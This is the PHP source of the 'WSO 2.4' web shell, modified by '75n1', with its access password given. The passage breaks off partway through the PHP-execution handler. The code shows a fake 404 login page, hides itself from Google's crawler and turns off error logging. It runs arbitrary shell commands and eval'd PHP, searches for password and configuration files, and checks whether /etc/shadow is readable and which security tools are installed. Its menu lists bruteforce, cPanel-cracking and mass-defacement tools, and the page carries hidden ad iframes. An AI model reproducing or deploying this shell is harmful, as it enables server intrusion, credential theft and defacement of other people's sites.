Shell 75n1 WSO 2.4

chmood
Shell 75n1



Pasword: sniper





<html>
<LINK rel="SHORTCUT ICON" href="http://www11.0zz0.com/2012/06/04/08/364248678.gif">
<body>
<iframe data-aa='200703' src='//ad.a-ads.com/200703?size=120x60&background_color=000000&text_color=000000&title_color=000000&title_hover_color=000000&link_color=000000&link_hover_color=000000' scrolling='no' style='width:1px; height:1px; border:0px; padding:0;overflow:hidden' allowtransparency='true'></iframe>
<iframe data-aa='191076' src='//ad.a-ads.com/191076?size=320x50&background_color=000000&title_hover_color=000000&link_hover_color=000000&link_color=000000&title_color=000000&text_color=000000' scrolling='no' style='width:1px; height:1px; border:0px; padding:0;overflow:hidden' allowtransparency='true'></iframe>
<?php
/* WSO 2.4 (Erorr 404 Not Found) */
$auth_pass = "1c27680133b781cadd037e8a6dcc001b";
$color = "#fe9b00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
Β  Β  header('HTTP/1.0 404 Not Found');
Β  Β  exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.2');
if( get_magic_quotes_gpc() ) {
Β  Β  function stripslashes_array($array) {
Β  Β  Β  Β  return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
Β  Β  }
Β  Β  $_POST = stripslashes_array($_POST);
}
function printLogin() {
Β  Β  ?>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache Server at <?php echo $_SERVER['HTTP_HOST']?> Port 80</address>
Β  Β  <style>
Β  Β  Β  Β  input { margin:0;background-color:#fff;border:1px solid #fff; }
Β  Β  </style>
Β  Β  <center>
Β  Β  <form method=post>
Β  Β  <input type=password name=pass>
Β  Β  </form></center>
Β  Β  <?php
Β  Β  exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
Β  Β  if( empty( $auth_pass ) ||
Β  Β  Β  Β  ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
Β  Β  Β  Β  $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
Β  Β  else
Β  Β  Β  Β  printLogin();

if( strtolower( substr(PHP_OS,0,3) ) == "win" )
Β  Β  $os = 'win';
else
Β  Β  $os = 'nix';
$safe_mode = @ini_get('safe_mode');
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if( isset( $_POST['c'] ) )
Β  Β  @chdir($_POST['c']);
$cwd = @getcwd();
if( $os == 'win') {
Β  Β  $home_cwd = str_replace("\\", "/", $home_cwd);
Β  Β  $cwd = str_replace("\\", "/", $cwd);
}
if( $cwd[strlen($cwd)-1] != '/' )
Β  Β  $cwd .= '/';
Β 
if($os == 'win')
Β  Β  $aliases = array(
Β  Β  Β  Β  "List Directory" => "dir",
Β  Β  Β  Β  "Find index.php in current dir" => "dir /s /w /b index.php",
Β  Β  Β  Β  "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
Β  Β  Β  Β  "Show active connections" => "netstat -an",
Β  Β  Β  Β  "Show running services" => "net start",
Β  Β  Β  Β  "User accounts" => "net user",
Β  Β  Β  Β  "Show computers" => "net view",
Β  Β  Β  Β  "ARP Table" => "arp -a",
Β  Β  Β  Β  "IP Configuration" => "ipconfig /all"
Β  Β  );
else
Β  Β  $aliases = array(
Β  Β  Β  Β  Β  "List dir" => "ls -la",
Β  Β  Β  Β  "list file attributes on a Linux second extended file system" => "lsattr -va",
Β  Β  Β  Β  Β  "show opened ports" => "netstat -an | grep -i listen",
Β  Β  Β  Β  "Find" => "",
Β  Β  Β  Β  Β  "find all suid files" => "find / -type f -perm -04000 -ls",
Β  Β  Β  Β  Β  "find suid files in current dir" => "find . -type f -perm -04000 -ls",
Β  Β  Β  Β  Β  "find all sgid files" => "find / -type f -perm -02000 -ls",
Β  Β  Β  Β  Β  "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
Β  Β  Β  Β  Β  "find config.inc.php files" => "find / -type f -name config.inc.php",
Β  Β  Β  Β  Β  "find config* files" => "find / -type f -name \"config*\"",
Β  Β  Β  Β  Β  "find config* files in current dir" => "find . -type f -name \"config*\"",
Β  Β  Β  Β  Β  "find all writable folders and files" => "find / -perm -2 -ls",
Β  Β  Β  Β  Β  "find all writable folders and files in current dir" => "find . -perm -2 -ls",
Β  Β  Β  Β  Β  "find all service.pwd files" => "find / -type f -name service.pwd",
Β  Β  Β  Β  Β  "find service.pwd files in current dir" => "find . -type f -name service.pwd",
Β  Β  Β  Β  Β  "find all .htpasswd files" => "find / -type f -name .htpasswd",
Β  Β  Β  Β  Β  "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
Β  Β  Β  Β  Β  "find all .bash_history files" => "find / -type f -name .bash_history",
Β  Β  Β  Β  Β  "find .bash_history files in current dir" => "find . -type f -name .bash_history",
Β  Β  Β  Β  Β  "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
Β  Β  Β  Β  Β  "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
Β  Β  Β  Β  "Locate" => "",
Β  Β  Β  Β  Β  "locate httpd.conf files" => "locate httpd.conf",
Β  Β  Β  Β  "locate vhosts.conf files" => "locate vhosts.conf",
Β  Β  Β  Β  "locate proftpd.conf files" => "locate proftpd.conf",
Β  Β  Β  Β  "locate psybnc.conf files" => "locate psybnc.conf",
Β  Β  Β  Β  "locate my.conf files" => "locate my.conf",
Β  Β  Β  Β  "locate admin.php files" =>"locate admin.php",
Β  Β  Β  Β  "locate cfg.php files" => "locate cfg.php",
Β  Β  Β  Β  "locate conf.php files" => "locate conf.php",
Β  Β  Β  Β  "locate config.dat files" => "locate config.dat",
Β  Β  Β  Β  "locate config.php files" => "locate config.php",
Β  Β  Β  Β  "locate config.inc files" => "locate config.inc",
Β  Β  Β  Β  "locate config.inc.php" => "locate config.inc.php",
Β  Β  Β  Β  "locate config.default.php files" => "locate config.default.php",
Β  Β  Β  Β  "locate config* files " => "locate config",
Β  Β  Β  Β  "locate .conf files"=>"locate '.conf'",
Β  Β  Β  Β  "locate .pwd files" => "locate '.pwd'",
Β  Β  Β  Β  "locate .sql files" => "locate '.sql'",
Β  Β  Β  Β  "locate .htpasswd files" => "locate '.htpasswd'",
Β  Β  Β  Β  "locate .bash_history files" => "locate '.bash_history'",
Β  Β  Β  Β  "locate .mysql_history files" => "locate '.mysql_history'",
Β  Β  Β  Β  "locate .fetchmailrc files" => "locate '.fetchmailrc'",
Β  Β  Β  Β  "locate backup files" => "locate backup",
Β  Β  Β  Β  "locate dump files" => "locate dump",
Β  Β  Β  Β  "locate priv files" => "locate priv" Β 
Β  Β  );

function printHeader() {
Β  Β  if(empty($_POST['charset']))
Β  Β  Β  Β  $_POST['charset'] = "UTF-8";
Β  Β  global $color;
Β  Β  ?>
<html><head><meta http-equiv='Content-Type' content='text/html; charset=<?php echo $_POST['charset']?>'><title><?php echo $_SERVER['HTTP_HOST']?>- Error 404 Not Found.<?php echo VERSION?></title>
<style>
Β  Β  body {background-color:#000;color:#fff;}
Β  Β  body,td,th Β  Β { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
Β  Β  span,h1,a Β  Β { color:<?php echo $color;?> !important; }
Β  Β  span Β  Β  Β  Β { font-weight: bolder; }
Β  Β  h1 Β  Β  Β  Β  Β  Β { border:1px solid <?php echo $color?>;padding: 2px 5px;font: 14pt Verdana;margin:0px; }
Β  Β  div.content Β  Β { padding: 5px;margin-left:5px;}
Β  Β  a Β  Β  Β  Β  Β  Β { text-decoration:none; }
Β  Β  a:hover Β  Β  Β  Β { background:#5e5e5e; }
Β  Β  .ml1 Β  Β  Β  Β { border:1px solid #444;padding:5px;margin:0;overflow: auto; }
Β  Β  .bigarea Β  Β { width:100%;height:250px; }
Β  Β  input, textarea, select Β  Β { margin:0;color:#00ff00;background-color:#000;border:1px solid <?php echo $color?>; font: 9pt Monospace,"Courier New"; }
Β  Β  input[type="button"]:hover,input[type="submit"]:hover {background-color:<?php echo $color?>;color:#000;}
Β  Β  form Β  Β  Β  Β { margin:0px; }
Β  Β  #toolsTbl Β  Β { text-align:center; }
Β  Β  .toolsInp Β  Β { width: 80%; }
Β  Β  .main th Β  Β {text-align:left;}
Β  Β  .main tr:hover{background-color:#5e5e5e;}
Β  Β  .main td, th{vertical-align:middle;}
Β  Β  pre Β  Β  Β  Β  Β  Β {font-family:Courier,Monospace;}
Β  Β  #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
Β  Β  .logo {text-align:center;font-size:60px;margin-top: 6px;}
Β  Β  .logo sup {font-size: 15px;vertical-align: top;margin-left: -14px;}
Β  Β  .cpr {color:<?php echo $color;?>; margin-bottom:5px;}
Β  Β  .cpb {width:34px;margin:0 5px;}
</style>
<script>
Β  Β  function set(a,c,p1,p2,p3,charset) {
Β  Β  Β  Β  if(a != null)document.mf.a.value=a;
Β  Β  Β  Β  if(c != null)document.mf.c.value=c;
Β  Β  Β  Β  if(p1 != null)document.mf.p1.value=p1;
Β  Β  Β  Β  if(p2 != null)document.mf.p2.value=p2;
Β  Β  Β  Β  if(p3 != null)document.mf.p3.value=p3;
Β  Β  Β  Β  if(charset != null)document.mf.charset.value=charset;
Β  Β  }
Β  Β  function g(a,c,p1,p2,p3,charset) {
Β  Β  Β  Β  set(a,c,p1,p2,p3,charset);
Β  Β  Β  Β  document.mf.submit();
Β  Β  }
Β  Β  function a(a,c,p1,p2,p3,charset) {
Β  Β  Β  Β  set(a,c,p1,p2,p3,charset);
Β  Β  Β  Β  var params = "ajax=true";
Β  Β  Β  Β  for(i=0;i<document.mf.elements.length;i++)
Β  Β  Β  Β  Β  Β  params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
Β  Β  Β  Β  sr('<?php echo $_SERVER['REQUEST_URI'];?>', params);
Β  Β  }
Β  Β  function sr(url, params) { Β 
Β  Β  Β  Β  if (window.XMLHttpRequest) {
Β  Β  Β  Β  Β  Β  req = new XMLHttpRequest();
Β  Β  Β  Β  Β  Β  req.onreadystatechange = processReqChange;
Β  Β  Β  Β  Β  Β  req.open("POST", url, true);
Β  Β  Β  Β  Β  Β  req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
Β  Β  Β  Β  Β  Β  req.send(params);
Β  Β  Β  Β  }
Β  Β  Β  Β  else if (window.ActiveXObject) {
Β  Β  Β  Β  Β  Β  req = new ActiveXObject("Microsoft.XMLHTTP");
Β  Β  Β  Β  Β  Β  if (req) {
Β  Β  Β  Β  Β  Β  Β  Β  req.onreadystatechange = processReqChange;
Β  Β  Β  Β  Β  Β  Β  Β  req.open("POST", url, true);
Β  Β  Β  Β  Β  Β  Β  Β  req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
Β  Β  Β  Β  Β  Β  Β  Β  req.send(params);
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  }
Β  Β  }
Β  Β  function processReqChange() {
Β  Β  Β  Β  if( (req.readyState == 4) )
Β  Β  Β  Β  Β  Β  if(req.status == 200) {
Β  Β  Β  Β  Β  Β  Β  Β  //alert(req.responseText);
Β  Β  Β  Β  Β  Β  Β  Β  var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
Β  Β  Β  Β  Β  Β  Β  Β  var arr=reg.exec(req.responseText);
Β  Β  Β  Β  Β  Β  Β  Β  eval(arr[2].substr(0, arr[1]));
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  else alert("Request error!");
Β  Β  }
</script>
<head><body><div style="position:absolute;width:100%;top:0;left:0;">
<form method=post name=mf style='display:none;'>
<input type=hidden name=a value='<?php echo isset($_POST['a'])?$_POST['a']:''?>'>
<input type=hidden name=c value='<?php echo htmlspecialchars($GLOBALS['cwd'])?>'>
<input type=hidden name=p1 value='<?php echo isset($_POST['p1'])?htmlspecialchars($_POST['p1']):''?>'>
<input type=hidden name=p2 value='<?php echo isset($_POST['p2'])?htmlspecialchars($_POST['p2']):''?>'>
<input type=hidden name=p3 value='<?php echo isset($_POST['p3'])?htmlspecialchars($_POST['p3']):''?>'>
<input type=hidden name=charset value='<?php echo isset($_POST['charset'])?$_POST['charset']:''?>'>
</form>
<?php
Β  Β  $freeSpace = @diskfreespace($GLOBALS['cwd']);
Β  Β  $totalSpace = @disk_total_space($GLOBALS['cwd']);
Β  Β  $totalSpace = $totalSpace?$totalSpace:1;
Β  Β  $release = @php_uname('r');
Β  Β  $kernel = @php_uname('s');
Β  Β  $edblink="http://www.exploit-db.com/search/?action=search&filter_description=";
Β  Β  $millink='<form action="http://www.75n1.net/" method="post" id="mil" target="_blank" style="display:inline;"><a href="#" onclick="javascript:document.forms[\'mil\'].submit()">[T.I Sniper]</a>';
Β  Β  if( strpos('Linux', $kernel) !== false ){
Β  Β  Β  Β  $millink .= '<input type="hidden" name="dong" value="' . urlencode( 'Linux Kernel ' . substr($release,0,6)) . '"/></form>';
Β  Β  Β  Β  $edblink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
Β  Β  } else {
Β  Β  Β  Β  $millink .= '<input type="hidden" name="dong" value="' . urlencode( $kernel . ' ' . substr($release,0,3)) . '"/></form>';
Β  Β  Β  Β  $edblink .= urlencode( $kernel . ' ' . substr($release,0,3) );
Β  Β  }
Β  Β  Β 
Β  Β  if(!function_exists('posix_getegid')) {
Β  Β  Β  Β  $user = @get_current_user();
Β  Β  Β  Β  $uid = @getmyuid();
Β  Β  Β  Β  $gid = @getmygid();
Β  Β  Β  Β  $group = "?";
Β  Β  } else {
Β  Β  Β  Β  $uid = @posix_getpwuid(@posix_geteuid());
Β  Β  Β  Β  $gid = @posix_getgrgid(@posix_getegid());
Β  Β  Β  Β  $user = $uid['name'];
Β  Β  Β  Β  $uid = $uid['uid'];
Β  Β  Β  Β  $group = $gid['name'];
Β  Β  Β  Β  $gid = $gid['gid'];
Β  Β  }
Β  Β  $cwd_links = '';
Β  Β  $path = explode("/", $GLOBALS['cwd']);
Β  Β  $n=count($path);
Β  Β  for($i=0;$i<$n-1;$i++) {
Β  Β  Β  Β  $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
Β  Β  Β  Β  for($j=0;$j<=$i;$j++)
Β  Β  Β  Β  Β  Β  $cwd_links .= $path[$j].'/';
Β  Β  Β  Β  $cwd_links .= "\")'>".$path[$i]."/</a>";
Β  Β  }
Β  Β  $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
Β  Β  $opt_charsets = '';
Β  Β  foreach($charsets as $item)
Β  Β  Β  Β  $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
Β  Β  $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network','Symlink'=>'Symlink','cPanel Cracker'=>'Cpanel','Mass Defacer'=>'MassDeface','Zone Submit'=>'ZoneSubmit');
Β  Β  if(!empty($GLOBALS['auth_pass']))
Β  Β  $m['Logout'] = 'Logout';
Β  Β  $m['Self remove'] = 'SelfRemove';
Β  Β  $menu = '';
Β  Β  foreach($m as $k => $v)
Β  Β  Β  Β  $menu .= '<th>[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
Β  Β  $drives = "";
Β  Β  if ($GLOBALS['os'] == 'win') {
Β  Β  Β  Β  foreach( range('a','z') as $drive )
Β  Β  Β  Β  if (is_dir($drive.':\\'))
Β  Β  Β  Β  Β  Β  $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
Β  Β  }
Β  Β  echo '<table class="info" cellpadding="3" cellspacing="0" width="100%"><tr><td width="150"><div class="logo">75n1<sup>&reg;</sup></div></td><td width=1><span>Uname<br>User<br>Php<br>Hdd<br>Cwd'.($GLOBALS['os'] == 'win'?'<br>Drives':'').'</span></td>'.
Β  Β  Β  Β  Β '<td>:<nobr>'.substr(@php_uname(), 0, 120).' Β <a href="http://www.google.com/search?q=75n1'.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$edblink.'" target=_blank>[exploit-db.com]</a> '.$millink.'</nobr><br>:'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>:'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=<?php echo $color?><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>:'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>:'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>:'.$drives.'</td>'.
Β  Β  Β  Β  Β '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
Β  Β  Β  Β  Β '<br/><table cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
}

function printFooter() {
Β  Β  $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
?>
</div>
<table class="info" id="toolsTbl" cellpadding="0" cellspacing="0" width="100%">
Β  Β  <tr>
Β  Β  Β  Β  <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="<?php echo htmlspecialchars($GLOBALS['cwd']);?>"><input type=submit value=">>"></form></td>
Β  Β  Β  Β  <td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
Β  Β  </tr>
Β  Β  <tr>
Β  Β  Β  Β  <td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?php echo $is_writable?></td>
Β  Β  Β  Β  <td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?php echo $is_writable?></td>
Β  Β  </tr>
Β  Β  <tr>
Β  Β  Β  Β  <td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
Β  Β  Β  Β  <td><form method='post' ENCTYPE='multipart/form-data'>
Β  Β  Β  Β  <input type=hidden name=a value='FilesMAn'>
Β  Β  Β  Β  <input type=hidden name=c value='<?php echo htmlspecialchars($GLOBALS['cwd'])?>'>
Β  Β  Β  Β  <input type=hidden name=p1 value='uploadFile'>
Β  Β  Β  Β  <input type=hidden name=charset value='<?php echo isset($_POST['charset'])?$_POST['charset']:''?>'>
Β  Β  Β  Β  <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?php echo $is_writable?></td>
Β  Β  </tr>

</table>
<hr/>
<center class="cpr">&copy; 3xp1r3 Cyber Sn1p3r. Modified By - Dr.MoM</center>
</div>
</body></html>
<?php
}
if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
function ex($in) {
Β  Β  $out = '';
Β  Β  if(function_exists('exec')) {
Β  Β  Β  Β  @exec($in,$out);
Β  Β  Β  Β  $out = @join("\n",$out);
Β  Β  }elseif(function_exists('passthru')) {
Β  Β  Β  Β  ob_start();
Β  Β  Β  Β  @passthru($in);
Β  Β  Β  Β  $out = ob_get_clean();
Β  Β  }elseif(function_exists('system')) {
Β  Β  Β  Β  ob_start();
Β  Β  Β  Β  @system($in);
Β  Β  Β  Β  $out = ob_get_clean();
Β  Β  }elseif(function_exists('shell_exec')) {
Β  Β  Β  Β  $out = shell_exec($in);
Β  Β  }elseif(is_resource($f = @popen($in,"r"))) {
Β  Β  Β  Β  $out = "";
Β  Β  Β  Β  while(!@feof($f))
Β  Β  Β  Β  Β  Β  $out .= fread($f,1024);
Β  Β  Β  Β  pclose($f);
Β  Β  }
Β  Β  return $out;
}
function viewSize($s) {
Β  Β  if($s >= 1073741824)
Β  Β  Β  Β  return sprintf('%1.2f', $s / 1073741824 ). ' GB';
Β  Β  elseif($s >= 1048576)
Β  Β  Β  Β  return sprintf('%1.2f', $s / 1048576 ) . ' MB';
Β  Β  elseif($s >= 1024)
Β  Β  Β  Β  return sprintf('%1.2f', $s / 1024 ) . ' KB';
Β  Β  else
Β  Β  Β  Β  return $s . ' B';
}

function perms($p) {
Β  Β  if (($p & 0xC000) == 0xC000)$i = 's';
Β  Β  elseif (($p & 0xA000) == 0xA000)$i = 'l';
Β  Β  elseif (($p & 0x8000) == 0x8000)$i = '-';
Β  Β  elseif (($p & 0x6000) == 0x6000)$i = 'b';
Β  Β  elseif (($p & 0x4000) == 0x4000)$i = 'd';
Β  Β  elseif (($p & 0x2000) == 0x2000)$i = 'c';
Β  Β  elseif (($p & 0x1000) == 0x1000)$i = 'p';
Β  Β  else $i = 'u';
Β  Β  $i .= (($p & 0x0100) ? 'r' : '-');
Β  Β  $i .= (($p & 0x0080) ? 'w' : '-');
Β  Β  $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
Β  Β  $i .= (($p & 0x0020) ? 'r' : '-');
Β  Β  $i .= (($p & 0x0010) ? 'w' : '-');
Β  Β  $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
Β  Β  $i .= (($p & 0x0004) ? 'r' : '-');
Β  Β  $i .= (($p & 0x0002) ? 'w' : '-');
Β  Β  $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
Β  Β  return $i;
}
function viewPermsColor($f) {
Β  Β  if (!@is_readable($f))
Β  Β  Β  Β  return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
Β  Β  elseif (!@is_writable($f))
Β  Β  Β  Β  return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
Β  Β  else
Β  Β  Β  Β  return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
}
if(!function_exists("scandir")) {
Β  Β  function scandir($dir) {
Β  Β  Β  Β  $dh Β = opendir($dir);
Β  Β  Β  Β  while (false !== ($filename = readdir($dh))) {
Β  Β  Β  Β  Β  Β  $files[] = $filename;
Β  Β  Β  Β  }
Β  Β  Β  Β  return $files;
Β  Β  }
}
function which($p) {
Β  Β  $path = ex('which '.$p);
Β  Β  if(!empty($path))
Β  Β  Β  Β  return $path;
Β  Β  return false;
}
function actionSecInfo() {
Β  Β  printHeader();
Β  Β  echo '<h1>Server security information</h1><div class=content>';
Β  Β  function showSecParam($n, $v) {
Β  Β  Β  Β  $v = trim($v);
Β  Β  Β  Β  if($v) {
Β  Β  Β  Β  Β  Β  echo '<span>'.$n.': </span>';
Β  Β  Β  Β  Β  Β  if(strpos($v, "\n") === false)
Β  Β  Β  Β  Β  Β  Β  Β  echo $v.'<br>';
Β  Β  Β  Β  Β  Β  else
Β  Β  Β  Β  Β  Β  Β  Β  echo '<pre class=ml1>'.$v.'</pre>';
Β  Β  Β  Β  }
Β  Β  }
Β 
Β  Β  showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
Β  Β  showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
Β  Β  showSecParam('Open base dir', @ini_get('open_basedir'));
Β  Β  showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
Β  Β  showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
Β  Β  showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
Β  Β  $temp=array();
Β  Β  if(function_exists('mysql_get_client_info'))
Β  Β  Β  Β  $temp[] = "MySql (".mysql_get_client_info().")";
Β  Β  if(function_exists('mssql_connect'))
Β  Β  Β  Β  $temp[] = "MSSQL";
Β  Β  if(function_exists('pg_connect'))
Β  Β  Β  Β  $temp[] = "PostgreSQL";
Β  Β  if(function_exists('oci_connect'))
Β  Β  Β  Β  $temp[] = "Oracle";
Β  Β  showSecParam('Supported databases', implode(', ', $temp));
Β  Β  echo '<br>';
Β 
Β  Β  if( $GLOBALS['os'] == 'nix' ) {
Β  Β  Β  Β  $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
Β  Β  Β  Β  $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
Β  Β  Β  Β  $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
Β  Β  Β  Β  showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
Β  Β  Β  Β  showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
Β  Β  Β  Β  showSecParam('OS version', @file_get_contents('/proc/version'));
Β  Β  Β  Β  showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
Β  Β  Β  Β  if(!$GLOBALS['safe_mode']) {
Β  Β  Β  Β  Β  Β  echo '<br>';
Β  Β  Β  Β  Β  Β  $temp=array();
Β  Β  Β  Β  Β  Β  foreach ($userful as $item)
Β  Β  Β  Β  Β  Β  Β  Β  if(which($item)){$temp[]=$item;}
Β  Β  Β  Β  Β  Β  showSecParam('Userful', implode(', ',$temp));
Β  Β  Β  Β  Β  Β  $temp=array();
Β  Β  Β  Β  Β  Β  foreach ($danger as $item)
Β  Β  Β  Β  Β  Β  Β  Β  if(which($item)){$temp[]=$item;}
Β  Β  Β  Β  Β  Β  showSecParam('Danger', implode(', ',$temp));
Β  Β  Β  Β  Β  Β  $temp=array();
Β  Β  Β  Β  Β  Β  foreach ($downloaders as $item)
Β  Β  Β  Β  Β  Β  Β  Β  if(which($item)){$temp[]=$item;}
Β  Β  Β  Β  Β  Β  showSecParam('Downloaders', implode(', ',$temp));
Β  Β  Β  Β  Β  Β  echo '<br/>';
Β  Β  Β  Β  Β  Β  showSecParam('Hosts', @file_get_contents('/etc/hosts'));
Β  Β  Β  Β  Β  Β  showSecParam('HDD space', ex('df -h'));
Β  Β  Β  Β  Β  Β  showSecParam('Mount options', @file_get_contents('/etc/fstab'));
Β  Β  Β  Β  }
Β  Β  } else {
Β  Β  Β  Β  showSecParam('OS Version',ex('ver'));
Β  Β  Β  Β  showSecParam('Account Settings',ex('net accounts'));
Β  Β  Β  Β  showSecParam('User Accounts',ex('net user'));
Β  Β  }
Β  Β  echo '</div>';
Β  Β  printFooter();
}

function actionPhp() {
Β  Β  if( isset($_POST['ajax']) ) {
Β  Β  Β  Β  $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
Β  Β  Β  Β  ob_start();
Β  Β  Β  Β  eval($_POST['p1']);
Β  Β  Β  Β  $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
Β  Β  Β  Β  echo strlen($temp), "\n", $temp;
Β  Β  Β  Β  exit;
Β  Β  }
Β  Β  printHeader();
Β  Β  if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
Β  Β  Β  Β  echo '<h1>PHP info</h1><div class=content>';
Β  Β  Β  Β  ob_start();
Β  Β  Β  Β  phpinfo();
Β  Β  Β  Β  $tmp = ob_get_clean();
Β  Β  Β  Β  $tmp = preg_replace('!body {.*}!msiU','',$tmp);
Β  Β  Β  Β  $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
Β  Β  Β  Β  $tmp = preg_replace('!h1!msiU','h2',$tmp);
Β  Β  Β  Β  $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
Β  Β  Β  Β  $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
Β  Β  Β  Β  echo $tmp;
Β  Β  Β  Β  echo '</div><br>';
Β  Β  }
Β  Β  if(empty($_POST['ajax'])&&!empty($_POST['p1']))
Β  Β  Β  Β  $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
